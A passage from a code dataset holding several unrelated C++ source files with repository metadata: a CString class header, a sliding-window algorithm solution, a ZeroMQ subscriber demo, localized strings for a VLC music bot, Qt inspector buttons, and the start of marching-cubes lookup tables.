#ifndef __CSTRING_A_H__INCLUDED__ #define __CSTRING_A_H__INCLUDED__ #ifndef __cplusplus #error StringA requires C++ compilation (use a .cpp suffix) #endif struct CStringDataA { long nRefs; // reference count int nDataLength; // length of data (including terminator) int nAllocLength; // length of allocation // char data[nAllocLength] char* data() { return (char*)(this+1); } // char* to managed data }; class CStringA { public: // Constructors // constructs empty CStringA CStringA(); // copy constructor CStringA(const CStringA& stringSrc); // from a single character CStringA(char ch, int nRepeat = 1); // from an ANSI string (converts to char) CStringA(LPCSTR lpsz); // from a UNICODE string (converts to char) CStringA(LPCWSTR lpsz); // subset of characters from an ANSI string (converts to char) CStringA(LPCSTR lpch, int nLength); // subset of characters from a UNICODE string (converts to char) CStringA(LPCWSTR lpch, int nLength); // from unsigned characters CStringA(const unsigned char* psz); // Attributes & Operations // get data length int GetLength() const; // TRUE if zero length BOOL IsEmpty() const; // clear contents to empty void Empty(); // return single character at zero-based index char GetAt(int nIndex) const; // return single character at zero-based index char operator[](int nIndex) const; // set a single character at zero-based index void SetAt(int nIndex, char ch); // return pointer to const string operator LPCSTR() const; // overloaded assignment // ref-counted copy from another CStringA const CStringA& operator=(const CStringA& stringSrc); // set string content to single character const CStringA& operator=(char ch); // copy string content from ANSI string (converts to char) const CStringA& operator=(LPCSTR lpsz); // copy string content from UNICODE string (converts to char) const CStringA& operator=(LPCWSTR lpsz); // copy string content from unsigned chars const CStringA& operator=(const unsigned char* psz); // string concatenation // concatenate from another CStringA const CStringA& operator+=(const CStringA& string); // concatenate a single character const CStringA& operator+=(char ch); // concatenate a UNICODE character after converting it to char const CStringA& operator+=(LPCSTR lpsz); friend CStringA operator+(const CStringA& string1, const CStringA& string2); friend CStringA operator+(const CStringA& string, char ch); friend CStringA operator+(char ch, const CStringA& string); friend CStringA operator+(const CStringA& string, LPCSTR lpsz); friend CStringA operator+(LPCSTR lpsz, const CStringA& string); // string comparison // straight character comparison int Compare(LPCSTR lpsz) const; // compare ignoring case int CompareNoCase(LPCSTR lpsz) const; // NLS aware comparison, case sensitive int Collate(LPCSTR lpsz) const; // NLS aware comparison, case insensitive int CollateNoCase(LPCSTR lpsz) const; // simple sub-string extraction // return nCount characters starting at zero-based nFirst CStringA Mid(int nFirst, int nCount) const; // return all characters starting at zero-based nFirst CStringA Mid(int nFirst) const; // return first nCount characters in string CStringA Left(int nCount) const; // return nCount characters from end of string CStringA Right(int nCount) const; // characters from beginning that are also in passed string CStringA SpanIncluding(LPCSTR lpszCharSet) const; // characters from beginning that are not also in passed string CStringA SpanExcluding(LPCSTR lpszCharSet) const; // upper/lower/reverse conversion // NLS aware conversion to uppercase void MakeUpper(); // NLS aware conversion to lowercase void MakeLower(); // reverse string right-to-left void MakeReverse(); // trimming whitespace (either side) // remove whitespace starting from right edge void TrimRight(); // remove whitespace starting from left side void TrimLeft(); // trimming anything (either side) /* // remove continuous occurrences of chTarget starting from right void TrimRight(char chTarget); // remove continuous occcurrences of characters in passed string, // starting from right void TrimRight(LPCSTR lpszTargets); // remove continuous occurrences of chTarget starting from left void TrimLeft(char chTarget); // remove continuous occcurrences of characters in // passed string, starting from left void TrimLeft(LPCSTR lpszTargets); */ // advanced manipulation // replace occurrences of chOld with chNew int Replace(char chOld, char chNew); // replace occurrences of substring lpszOld with lpszNew; // empty lpszNew removes instances of lpszOld int Replace(LPCSTR lpszOld, LPCSTR lpszNew); // remove occurrences of chRemove int Remove(char chRemove); // insert character at zero-based index; concatenates // if index is past end of string int Insert(int nIndex, char ch); // insert substring at zero-based index; concatenates // if index is past end of string int Insert(int nIndex, LPCSTR pstr); // delete nCount characters starting at zero-based index int Delete(int nIndex, int nCount = 1); // searching // find character starting at left, -1 if not found int Find(char ch) const; // find character starting at right int ReverseFind(char ch) const; // find character starting at zero-based index and going right int Find(char ch, int nStart) const; // find first instance of any character in passed string int FindOneOf(LPCSTR lpszCharSet) const; // find first instance of substring int Find(LPCSTR lpszSub) const; // find first instance of substring starting at zero-based index int Find(LPCSTR lpszSub, int nStart) const; // simple formatting // printf-like formatting using passed string void Format(LPCSTR lpszFormat, ...); // printf-like formatting using referenced string resource //void Format(UINT nFormatID, ...); // printf-like formatting using variable arguments parameter void FormatV(LPCSTR lpszFormat, va_list argList); // formatting for localization (uses FormatMessage API) // format using FormatMessage API on passed string void FormatMessage(LPCSTR lpszFormat, ...); // format using FormatMessage API on referenced string resource void FormatMessage(UINT nFormatID, ...); // load from string resource BOOL LoadString(UINT nID); // ANSI <-> OEM support (convert string in place) // convert string from ANSI to OEM in-place void AnsiToOem(); // convert string from OEM to ANSI in-place void OemToAnsi(); // Access to string implementation buffer as "C" character array // get pointer to modifiable buffer at least as long as nMinBufLength LPSTR GetBuffer(int nMinBufLength); // release buffer, setting length to nNewLength (or to first nul if -1) void ReleaseBuffer(int nNewLength = -1); // get pointer to modifiable buffer exactly as long as nNewLength LPSTR GetBufferSetLength(int nNewLength); // release memory allocated to but unused by string void FreeExtra(); // Use LockBuffer/UnlockBuffer to turn refcounting off // turn refcounting back on LPSTR LockBuffer(); // turn refcounting off void UnlockBuffer(); #ifdef __wtypes_h__ // BSTR AllocSysString() const; #endif // Implementation public: ~CStringA(); int GetAllocLength() const; protected: LPSTR m_pchData; // pointer to ref counted string data // implementation helpers CStringDataA* GetData() const; void Init(); void AllocCopy(CStringA& dest, int nCopyLen, int nCopyIndex, int nExtraLen) const; void AllocBuffer(int nLen); void AssignCopy(int nSrcLen, LPCSTR lpszSrcData); void ConcatCopy(int nSrc1Len, LPCSTR lpszSrc1Data, int nSrc2Len, LPCSTR lpszSrc2Data); void ConcatInPlace(int nSrcLen, LPCSTR lpszSrcData); void CopyBeforeWrite(); void AllocBeforeWrite(int nLen); void Release(); static void Release(CStringDataA* pData); static int SafeStrlen(LPCSTR lpsz); static void FreeData(CStringDataA* pData); }; // Compare helpers bool operator==(const CStringA& s1, const CStringA& s2); bool operator==(const CStringA& s1, LPCSTR s2); bool operator==(LPCSTR s1, const CStringA& s2); bool operator!=(const CStringA& s1, const CStringA& s2); bool operator!=(const CStringA& s1, LPCSTR s2); bool operator!=(LPCSTR s1, const CStringA& s2); bool operator<(const CStringA& s1, const CStringA& s2); bool operator<(const CStringA& s1, LPCSTR s2); bool operator<(LPCSTR s1, const CStringA& s2); bool operator>(const CStringA& s1, const CStringA& s2); bool operator>(const CStringA& s1, LPCSTR s2); bool operator>(LPCSTR s1, const CStringA& s2); bool operator<=(const CStringA& s1, const CStringA& s2); bool operator<=(const CStringA& s1, LPCSTR s2); bool operator<=(LPCSTR s1, const CStringA& s2); bool operator>=(const CStringA& s1, const CStringA& s2); bool operator>=(const CStringA& s1, LPCSTR s2); bool operator>=(LPCSTR s1, const CStringA& s2); // conversion helpers int _wcstombsz(char* mbstr, const wchar_t* wcstr, size_t count); int _mbstowcsz(wchar_t* wcstr, const char* mbstr, size_t count); #endif // __CSTRING_A_H__INCLUDED__
e2bda517a4885180d9323504e2f44eb38e132a52
c732666c24d86e0da4cd2c1ee12619e9c514e818
/offline/01_03/02-23/6/1806.cpp
29b53e08fea15a386abea9dc07d1455a4a2a63ca
[]
no_license
Algostu/boradori
032f71e9e58163d3e188856629a5de4afaa87b30
939d60e8652074e26ba08252217f7788cae9063c
refs/heads/master
2023-04-22T03:57:26.823917
2021-04-06T23:09:36
2021-04-06T23:09:36
263,754,451
0
0
null
null
null
null
UTF-8
C++
false
false
507
cpp
1806.cpp
#include <bits/stdc++.h> using namespace std; #define INF 987654321 int main(void){cin.tie(NULL); cout.tie(NULL); ios_base::sync_with_stdio(false); int N, M; cin >> N >> M; vector<int> arr(N); for(int i=0; i<N; i++) cin >> arr[i]; int s, e, cnt, ans; cnt = INF; s = e = ans = 0; while(s<N){ if(ans>=M or e==N) { ans-=arr[s]; s++; } else { ans+=arr[e]; e++; } if(ans>=M) cnt = min(cnt, e-s); } cout << (cnt==INF?0:cnt) << endl; return 0; }
3d36a42a0df8f405927ca3d3ccce9c208754e368
e31e549a9e3baeded36b61675b458f34e08c64e2
/zmqpp/pub_sub/sub.cpp
e4420559345f69395c0c416608d62b4fd5707edb
[]
no_license
ztenv/zeromq_demo
e669f1c1232a09b51ca2dbb99e48ecc7bd6a4b36
519049256a67919bd921de577b94ff9d38226c12
refs/heads/main
2023-04-08T12:29:51.652133
2021-04-23T15:48:20
2021-04-23T15:48:20
309,614,058
0
0
null
null
null
null
UTF-8
C++
false
false
1,580
cpp
sub.cpp
/** * @file sub.cpp * @brief sub demo * @author shlian * @version 1.0 * @date 2020-11-04 */ #include <iostream> #include <gflags/gflags.h> #include <zmqpp/context.hpp> #include <zmqpp/context_options.hpp> #include <zmqpp/loop.hpp> #include <zmqpp/message.hpp> #include <zmqpp/socket.hpp> #include <zmqpp/socket_types.hpp> #include <zmqpp/zmqpp.hpp> #include "../include/common.h" DEFINE_string(connect_endpoint,"tcp://127.0.0.1:12345","the endpoint binded by publish socket"); DEFINE_string(topic,"","the subscribe topic,there are 3 choices:odd even and empty topic is the default topic"); DEFINE_int32(io_thread_count,1,"the io thread number of zeromq context"); using namespace std; bool handle_message(zmqpp::socket &socket); int main(int argc, char *argv[]) { gflags::SetUsageMessage("Usage"); gflags::ParseCommandLineFlags(&argc,&argv,true); zmqpp::context context; context.set(zmqpp::context_option::io_threads,FLAGS_io_thread_count); zmqpp::socket sub_socket(context,zmqpp::socket_type::sub); sub_socket.connect(FLAGS_connect_endpoint); //sub_socket.bind("tcp://*:12346"); sub_socket.subscribe(FLAGS_topic); zmqpp::loop looper; looper.add(sub_socket,std::bind(handle_message,std::ref(sub_socket)),zmqpp::poller::poll_in|zmqpp::poller::poll_error); looper.start(); return 0; } bool handle_message(zmqpp::socket &socket) { zmqpp::message msg; auto res=socket.receive(msg); LOG_INFO("recv topic:["<<msg.get(0)<<"],msg:["<<msg.get(1)<<"]from["<<FLAGS_connect_endpoint<<"]"); return res; }
74fdf71fbd489041bce22b339f27ca05deb232a4
b4ad8495d6e353ec1dd75503da06e27c04c9e89d
/src/simulations/clotho/object/life_cycles/tags.hpp
48b482f46a5079d69cfc5d4709be477734d5cfb5
[ "BSD-2-Clause-Views", "BSD-2-Clause" ]
permissive
putnampp/clotho-dev
a0efc5346c051460abab336c783a3977dbc26bf1
dd6ffdb549f6669236745bbf80be6b12392ecc00
refs/heads/master
2021-01-25T06:36:32.056942
2014-09-15T14:28:17
2014-09-15T14:28:17
null
0
0
null
null
null
null
UTF-8
C++
false
false
161
hpp
tags.hpp
#ifndef LIFE_CYCLE_TAG_GUARD_HPP_ #define LIFE_CYCLE_TAG_GUARD_HPP_ #include "object/life_cycles/tags/life_cycle_tag.hpp" #endif // LIFE_CYCLE_TAG_GUARD_HPP_
876a53b88a08ecad4c08447770be57904dcced8b
47ca937c2ac0794c4e902b334a875aec1507799c
/src/langs.cpp
8dbd594e921bcafd113790ae99ea593247bd717e
[]
no_license
Malgnor/musicbotdosbrodi
60ca64b37ffb0d1e05d0124b55202bd0b0fc2339
dc4143579945a9b00f67fc15c3421b290f87ef39
refs/heads/master
2022-03-10T03:08:19.922310
2015-01-06T20:01:37
2015-01-06T20:01:37
null
0
0
null
null
null
null
UTF-8
C++
false
false
8,007
cpp
langs.cpp
#include "langs.h" #include "global.h" using namespace Global; void generatePTBRStrings(){ /* COMMANDS / */ languages[LANG_PT_BR].COMMAND_ACTIVATE = "ativar"; languages[LANG_PT_BR].COMMAND_DEACTIVATE = "desativar"; languages[LANG_PT_BR].COMMAND_CONNECT = "conectar"; /* INFOS */ languages[LANG_PT_BR].BOT_ACTIVATED_SUCESS = "O bot agora est\303\241 ativado!"; languages[LANG_PT_BR].BOT_ACTIVATED_FAIL = "O bot n\303\243o foi ativado!"; languages[LANG_PT_BR].BOT_DEACTIVATED_SUCESS = "O bot agora est\303\241 desativado!"; languages[LANG_PT_BR].BOT_DEACTIVATED_FAIL = "O bot n\303\243o foi desativado!"; languages[LANG_PT_BR].BOT_CONNECT_SUCESS = "Sucesso ao conectar!"; languages[LANG_PT_BR].BOT_CONNECT_FAIL = "Falha ao conectar!"; languages[LANG_PT_BR].BOT_ALREADY_CONNECTED = "J\303\241 esta conectado."; /* COMMANDS ! */ languages[LANG_PT_BR].USER_COMMAND_YOUTUBE = "!youtube"; languages[LANG_PT_BR].USER_COMMAND_HELP = "!ajuda"; languages[LANG_PT_BR].USER_COMMAND_PLAYING = "!tocando"; languages[LANG_PT_BR].USER_COMMAND_LENGTH = "!duracao"; languages[LANG_PT_BR].USER_COMMAND_NEXT = "!proximo"; languages[LANG_PT_BR].USER_COMMAND_PREV = "!anterior"; languages[LANG_PT_BR].USER_COMMAND_PAUSE = "!pausar"; languages[LANG_PT_BR].USER_COMMAND_PLAY = "!tocar"; languages[LANG_PT_BR].USER_COMMAND_GOTO = "!irpara"; languages[LANG_PT_BR].USER_COMMAND_TIME = "!tempo"; /* INFOS */ languages[LANG_PT_BR].BOT_PARAMETER_MISSING = "Faltou par\303\242metro!"; languages[LANG_PT_BR].BOT_INVALID_PARAMETER = "Par\303\242metro inv\303\241lido!"; languages[LANG_PT_BR].BOT_ADDED_TO_PLAYLIST = " foi adicionado na playlist."; languages[LANG_PT_BR].BOT_HELP_WHEN_ENABLED = "Bem-Vindo ao meu canal de m\303\272sica!\n\ Comandos dispon\303\255veis: \n\ !youtube link - Coloca o link na playlist\n\ !tocando - Mostra a m\303\272sica atual\n\ !duracao - Mostra duracao da m\303\272sica atual\n\ !tempo - Mostra tempo atual da m\303\272sica\n\ !proximo - Pula para a proxima m\303\272sica\n\ !anterior - Pula para a m\303\272sica anterior\n\ !pausar - Pausa/despausa m\303\272sica atual\n\ !tocar - Toca m\303\272sica atual\n\ !irpara xx - Vai para o momento xx segundos da m\303\272sica\n\ !irpara x:y - Vai para o momento x minutos e y segundos da m\303\272sica\n\ !ajuda - Mostra essa mensagem"; languages[LANG_PT_BR].BOT_HELP_WHEN_DISABLED = "Bem-Vindo ao meu canal de m\303\272sica!\n\ Atualmente estou desativado.\n\ Entre em contato com algum admin para mais info."; languages[LANG_PT_BR].BOT_TELNET_NOT_CONNECTED = "Telnet n\303\243o est\303\241 conectado."; languages[LANG_PT_BR].BOT_TRY_AGAIN = "Tente novamente!"; languages[LANG_PT_BR].BOT_MINUTES = "minuto(s)"; languages[LANG_PT_BR].BOT_SECONDS = "segundo(s)"; languages[LANG_PT_BR].BOT_AND = "e"; languages[LANG_PT_BR].BOT_ERROR = "ERRO!"; languages[LANG_PT_BR].BOT_NECESSARY_VOTES = "votos necess\303\241rios"; languages[LANG_PT_BR].BOT_NOT_PLAYING = "Digite !tocar ou a playlist est\303\241 vazia."; /* SETTINGS GUI*/ languages[LANG_PT_BR].GUI_TITLE_SETTINGS = "Configura\303\247\303\265es"; languages[LANG_PT_BR].GUI_TITLE_COMMANDS = "Comandos"; languages[LANG_PT_BR].GUI_LABEL_VLC_EXE_PATH = "Caminho do execut\303\241vel do VLC:"; languages[LANG_PT_BR].GUI_LABEL_MUSIC_CHANNEL = "Canal de m\303\272sica"; languages[LANG_PT_BR].GUI_BUTTON_USE_CURRENT_CHANNEL = "Usar canal atual"; languages[LANG_PT_BR].GUI_LABEL_LANGUAGE = "Idioma"; languages[LANG_PT_BR].GUI_LABEL_RC_PORT = "Porta:"; languages[LANG_PT_BR].GUI_BUTTON_CONNECT_TO_VLC = "Conectar ao VLC"; languages[LANG_PT_BR].GUI_BUTTON_CONNECTED = "Conectado"; languages[LANG_PT_BR].GUI_BUTTON_DEACTIVATE_BOT = "Desativar bot"; languages[LANG_PT_BR].GUI_BUTTON_ACTIVATE_BOT = "Ativar bot"; languages[LANG_PT_BR].GUI_BUTTON_ENABLE_DISABLE_COMMANDS = "Habilitar/Desabilitar comandos"; languages[LANG_PT_BR].GUI_CHB_COMMAND_BY_VOTES = "Comando por votos"; languages[LANG_PT_BR].GUI_PREFFIX_NECESSARY_VOTES = "Votos necess\303\241rios: "; } void generateENUSStrings(){ /* COMMANDS / */ languages[LANG_EN_US].COMMAND_ACTIVATE = "activate"; languages[LANG_EN_US].COMMAND_DEACTIVATE = "deactivate"; languages[LANG_EN_US].COMMAND_CONNECT = "connect"; /* INFOS */ languages[LANG_EN_US].BOT_ACTIVATED_SUCESS = "Bot has been activated!"; languages[LANG_EN_US].BOT_ACTIVATED_FAIL = "Bot has failed to activated!"; languages[LANG_EN_US].BOT_DEACTIVATED_SUCESS = "Bot has been deactivated!"; languages[LANG_EN_US].BOT_DEACTIVATED_FAIL = "Bot has failed to deactivated!"; languages[LANG_EN_US].BOT_CONNECT_SUCESS = "Connected!"; languages[LANG_EN_US].BOT_CONNECT_FAIL = "Failed to connect!"; languages[LANG_EN_US].BOT_ALREADY_CONNECTED = "Already Connected!"; /* COMMANDS ! */ languages[LANG_EN_US].USER_COMMAND_YOUTUBE = "!youtube"; languages[LANG_EN_US].USER_COMMAND_HELP = "!help"; languages[LANG_EN_US].USER_COMMAND_PLAYING = "!playing"; languages[LANG_EN_US].USER_COMMAND_LENGTH = "!length"; languages[LANG_EN_US].USER_COMMAND_NEXT = "!next"; languages[LANG_EN_US].USER_COMMAND_PREV = "!prev"; languages[LANG_EN_US].USER_COMMAND_PAUSE = "!pause"; languages[LANG_EN_US].USER_COMMAND_PLAY = "!play"; languages[LANG_EN_US].USER_COMMAND_GOTO = "!goto"; languages[LANG_EN_US].USER_COMMAND_TIME = "!time"; /* INFOS */ languages[LANG_EN_US].BOT_PARAMETER_MISSING = "Parameter missing!"; languages[LANG_EN_US].BOT_INVALID_PARAMETER = "Invalid parameter!"; languages[LANG_EN_US].BOT_ADDED_TO_PLAYLIST = " was added to playlist."; languages[LANG_EN_US].BOT_HELP_WHEN_ENABLED = "Welcome to my music channel!\n\ Commands available: \n\ !youtube link - Insert the link in the playlist\n\ !playing - show the title what\'s currently playing\n\ !length - show the length of what\'s currently playing\n\ !time - show the current time of the music\n\ !next - skip to next music\n\ !prev - skip to previous music\n\ !pause - pause/unpause what's currently playing\n\ !play - play the current song\n\ !goto xx - go to the moment xx seconds of what\'s currently playing\n\ !goto x:y - go to the moment x minutes and y seconds of what\'s currently playing\n\ !help - show this message"; languages[LANG_EN_US].BOT_HELP_WHEN_DISABLED = "Welcome to my music channel!\n\ Currently i\'m not active."; languages[LANG_EN_US].BOT_TELNET_NOT_CONNECTED = "Telnet not connected!"; languages[LANG_EN_US].BOT_TRY_AGAIN = "Try again!"; languages[LANG_EN_US].BOT_MINUTES = "minute(s)"; languages[LANG_EN_US].BOT_SECONDS = "second(s)"; languages[LANG_EN_US].BOT_AND = "and"; languages[LANG_EN_US].BOT_ERROR = "ERROR!"; languages[LANG_EN_US].BOT_NECESSARY_VOTES = "necessary votes"; languages[LANG_EN_US].BOT_NOT_PLAYING = "Type !play or the playlist is empty."; /* SETTINGS GUI*/ languages[LANG_EN_US].GUI_TITLE_SETTINGS = "Settings"; languages[LANG_EN_US].GUI_TITLE_COMMANDS = "Commands"; languages[LANG_EN_US].GUI_LABEL_VLC_EXE_PATH = "VLC exe path:"; languages[LANG_EN_US].GUI_LABEL_MUSIC_CHANNEL = "Music channel"; languages[LANG_EN_US].GUI_BUTTON_USE_CURRENT_CHANNEL = "Use current channel"; languages[LANG_EN_US].GUI_LABEL_LANGUAGE = "Language"; languages[LANG_EN_US].GUI_LABEL_RC_PORT = "Port:"; languages[LANG_EN_US].GUI_BUTTON_CONNECT_TO_VLC = "Connect to VLC"; languages[LANG_EN_US].GUI_BUTTON_CONNECTED = "Connected"; languages[LANG_EN_US].GUI_BUTTON_DEACTIVATE_BOT = "Deactivate bot"; languages[LANG_EN_US].GUI_BUTTON_ACTIVATE_BOT = "Activate bot"; languages[LANG_EN_US].GUI_BUTTON_ENABLE_DISABLE_COMMANDS = "Enable/Disable commands"; languages[LANG_EN_US].GUI_CHB_COMMAND_BY_VOTES = "Commands by votes"; languages[LANG_EN_US].GUI_PREFFIX_NECESSARY_VOTES = "Necessary votes: "; }
e420e28166dfaf0afd898fea29a9ace39d811035
240511f33bbd9c9ce91242db2efd7605335a2ce0
/app/src/ui/canvas/inspector/inspector_buttons.cpp
21adfc18fad16f6a7acf20d09244b30ff9049a9b
[ "MIT" ]
permissive
fros1y/antimony
6f92355e78a4bed608011be8718edff0aa689d77
dcbf50d80fa0eb40e2c50dd0b5bddf2f6b313693
refs/heads/develop
2021-01-18T01:37:00.413657
2016-03-14T14:12:07
2016-03-14T14:12:07
35,767,617
2
0
null
2015-05-17T13:42:41
2015-05-17T13:42:40
null
UTF-8
C++
false
false
2,932
cpp
inspector_buttons.cpp
#include <Python.h> #include <QPainter> #include <QMenu> #include <QAction> #include "ui/canvas/inspector/inspector_buttons.h" #include "ui/canvas/inspector/inspector.h" #include "ui/canvas/inspector/inspector_title.h" #include "ui/util/colors.h" #include "app/app.h" #include "graph/script_node.h" InspectorScriptButton::InspectorScriptButton(ScriptNode* n, QGraphicsItem* parent) : GraphicsButton(parent), node(n) { setToolTip("Edit script"); connect(this, &GraphicsButton::pressed, this, &InspectorScriptButton::onPressed); n->installScriptWatcher(this); trigger(n->getScriptState()); } QRectF InspectorScriptButton::boundingRect() const { return QRectF(0, 0, 16, 15); } void InspectorScriptButton::paint(QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget) { Q_UNUSED(option); Q_UNUSED(widget); painter->setPen(Qt::NoPen); const QColor base = script_valid ? Colors::base04 : Colors::red; painter->setBrush(hover ? Colors::highlight(base) : base); painter->drawRect(0, 0, 16, 3); painter->drawRect(0, 6, 16, 3); painter->drawRect(0, 12, 16, 3); } void InspectorScriptButton::trigger(const ScriptState& state) { script_valid = (state.error_lineno == -1); prepareGeometryChange(); } void InspectorScriptButton::onPressed() { App::instance()->newEditorWindow(node); } //////////////////////////////////////////////////////////////////////////////// InspectorShowHiddenButton::InspectorShowHiddenButton( QGraphicsItem* parent, NodeInspector* inspector) : GraphicsButton(parent), toggled(false), inspector(inspector) { connect(this, &GraphicsButton::pressed, this, &InspectorShowHiddenButton::onPressed); setToolTip("Show hidden datums"); inspector->getNode()->installWatcher(this); trigger(inspector->getNode()->getState()); } QRectF InspectorShowHiddenButton::boundingRect() const { return QRectF(0, 0, 10, 15); } void InspectorShowHiddenButton::paint(QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget) { Q_UNUSED(option); Q_UNUSED(widget); painter->setPen(Qt::NoPen); painter->setBrush(hover ? Colors::base06 : toggled ? Colors::base04 : Colors::base02); painter->drawRect(0, 12, 10, 3); painter->drawEllipse(3, 4, 4, 4); } void InspectorShowHiddenButton::onPressed() { toggled = !toggled; inspector->setShowHidden(toggled); } void InspectorShowHiddenButton::trigger(const NodeState& state) { for (auto d : state.datums) { if (d->getName().find("_") == 0 && d->getName().find("__") != 0) { if (!isVisible()) show(); return; } } if (isVisible()) hide(); }
de2f8ac7a0c8855376cecaa389c1139fc89e4ac4
41f5c77cb1bc1db7e6dcc7a2ff105116fb654cb5
/code/Remesh/MarchingCube/isosurface.cpp
e2e90efc357a8ec2d64aaa9786319e66f1de1ecd
[]
no_license
vivzqs/non-obtuse-remeshing
dd4e351ec6f131b7d289213e703845d811858027
e6f29fd0cdf525418d94997d181ee0b6c5b6b914
refs/heads/master
2021-01-23T18:08:20.010760
2012-09-17T23:38:52
2012-09-17T23:38:52
33,761,888
0
1
null
null
null
null
UTF-8
C++
false
false
55,662
cpp
isosurface.cpp
#include "isosurface.h" namespace DUT { template <class T> const uint IsoSurface<T>::iEdgeTable[256] = { 0x0 , 0x109, 0x203, 0x30a, 0x406, 0x50f, 0x605, 0x70c, 0x80c, 0x905, 0xa0f, 0xb06, 0xc0a, 0xd03, 0xe09, 0xf00, 0x190, 0x99 , 0x393, 0x29a, 0x596, 0x49f, 0x795, 0x69c, 0x99c, 0x895, 0xb9f, 0xa96, 0xd9a, 0xc93, 0xf99, 0xe90, 0x230, 0x339, 0x33 , 0x13a, 0x636, 0x73f, 0x435, 0x53c, 0xa3c, 0xb35, 0x83f, 0x936, 0xe3a, 0xf33, 0xc39, 0xd30, 0x3a0, 0x2a9, 0x1a3, 0xaa , 0x7a6, 0x6af, 0x5a5, 0x4ac, 0xbac, 0xaa5, 0x9af, 0x8a6, 0xfaa, 0xea3, 0xda9, 0xca0, 0x460, 0x569, 0x663, 0x76a, 0x66 , 0x16f, 0x265, 0x36c, 0xc6c, 0xd65, 0xe6f, 0xf66, 0x86a, 0x963, 0xa69, 0xb60, 0x5f0, 0x4f9, 0x7f3, 0x6fa, 0x1f6, 0xff , 0x3f5, 0x2fc, 0xdfc, 0xcf5, 0xfff, 0xef6, 0x9fa, 0x8f3, 0xbf9, 0xaf0, 0x650, 0x759, 0x453, 0x55a, 0x256, 0x35f, 0x55 , 0x15c, 0xe5c, 0xf55, 0xc5f, 0xd56, 0xa5a, 0xb53, 0x859, 0x950, 0x7c0, 0x6c9, 0x5c3, 0x4ca, 0x3c6, 0x2cf, 0x1c5, 0xcc , 0xfcc, 0xec5, 0xdcf, 0xcc6, 0xbca, 0xac3, 0x9c9, 0x8c0, 0x8c0, 0x9c9, 0xac3, 0xbca, 0xcc6, 0xdcf, 0xec5, 0xfcc, 0xcc , 0x1c5, 0x2cf, 0x3c6, 0x4ca, 0x5c3, 0x6c9, 0x7c0, 0x950, 0x859, 0xb53, 0xa5a, 0xd56, 0xc5f, 0xf55, 0xe5c, 0x15c, 0x55 , 0x35f, 0x256, 0x55a, 0x453, 0x759, 0x650, 0xaf0, 0xbf9, 0x8f3, 0x9fa, 0xef6, 0xfff, 0xcf5, 0xdfc, 0x2fc, 0x3f5, 0xff , 0x1f6, 0x6fa, 0x7f3, 0x4f9, 0x5f0, 0xb60, 0xa69, 0x963, 0x86a, 0xf66, 0xe6f, 0xd65, 0xc6c, 0x36c, 0x265, 0x16f, 0x66 , 0x76a, 0x663, 0x569, 0x460, 0xca0, 0xda9, 0xea3, 0xfaa, 0x8a6, 0x9af, 0xaa5, 0xbac, 0x4ac, 0x5a5, 0x6af, 0x7a6, 0xaa , 0x1a3, 0x2a9, 0x3a0, 0xd30, 0xc39, 0xf33, 0xe3a, 0x936, 0x83f, 0xb35, 0xa3c, 0x53c, 0x435, 0x73f, 0x636, 0x13a, 0x33 , 0x339, 0x230, 0xe90, 0xf99, 0xc93, 0xd9a, 0xa96, 0xb9f, 0x895, 0x99c, 0x69c, 0x795, 0x49f, 0x596, 0x29a, 0x393, 0x99 , 0x190, 0xf00, 0xe09, 0xd03, 0xc0a, 0xb06, 0xa0f, 0x905, 0x80c, 0x70c, 0x605, 0x50f, 0x406, 0x30a, 0x203, 0x109, 0x0 }; ///* template <class T> const int IsoSurface<T>::iTriTable[256][16] = { {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0000; v none (case 0) {0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0001; v 0 (case 1) {0, 1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0010; v 1 (case 1) {1, 8, 3, 9, 8, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0011; v 0,1 (case 2) {1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0100; v 2 (case 1) {0, 8, 3, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0101; v 0,2 (case 3) {9, 2, 10, 0, 2, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 0110; v 1,2 (case 1) {2, 8, 3, 2, 10, 8, 10, 9, 8, -1, -1, -1, -1, -1, -1, -1}, // 0000 0111; v 0,1,2 (case 5) {3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 1000; v 3 (case 1) {0, 11, 2, 8, 11, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 1001; v 0,3 (case 2) {1, 9, 0, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 1010; v 1,3 (case 3) {1, 11, 2, 1, 9, 11, 9, 8, 11, -1, -1, -1, -1, -1, -1, -1}, // 0000 1011; v 0,1,3 (case 5) {3, 10, 1, 11, 10, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 1100; v 2,3 (case 1) {0, 10, 1, 0, 8, 10, 8, 11, 10, -1, -1, -1, -1, -1, -1, -1}, // 0000 1101; v 0,2,3 (case 5) {3, 9, 0, 3, 11, 9, 11, 10, 9, -1, -1, -1, -1, -1, -1, -1}, // 0000 1110; v 1,2,3 (case 5) {9, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0000 1111; v 0,1,2,3 (case 8) {4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0001 0000; v 4 (case 1) {4, 3, 0, 7, 3, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0001 0001; v 0,4 (case 2) {0, 1, 9, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0001 0010; v 1,4 (case 3) {4, 1, 9, 4, 7, 1, 7, 3, 1, -1, -1, -1, -1, -1, -1, -1}, // 0001 0011; v 0,1,4 (case 5) {1, 2, 10, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 0001 0100; v 2,4 (case 4) {3, 4, 7, 3, 0, 4, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1}, // 0001 0101; v 0,2,4 (case 6) {9, 2, 10, 9, 0, 2, 8, 4, 7, -1, -1, -1, -1, -1, 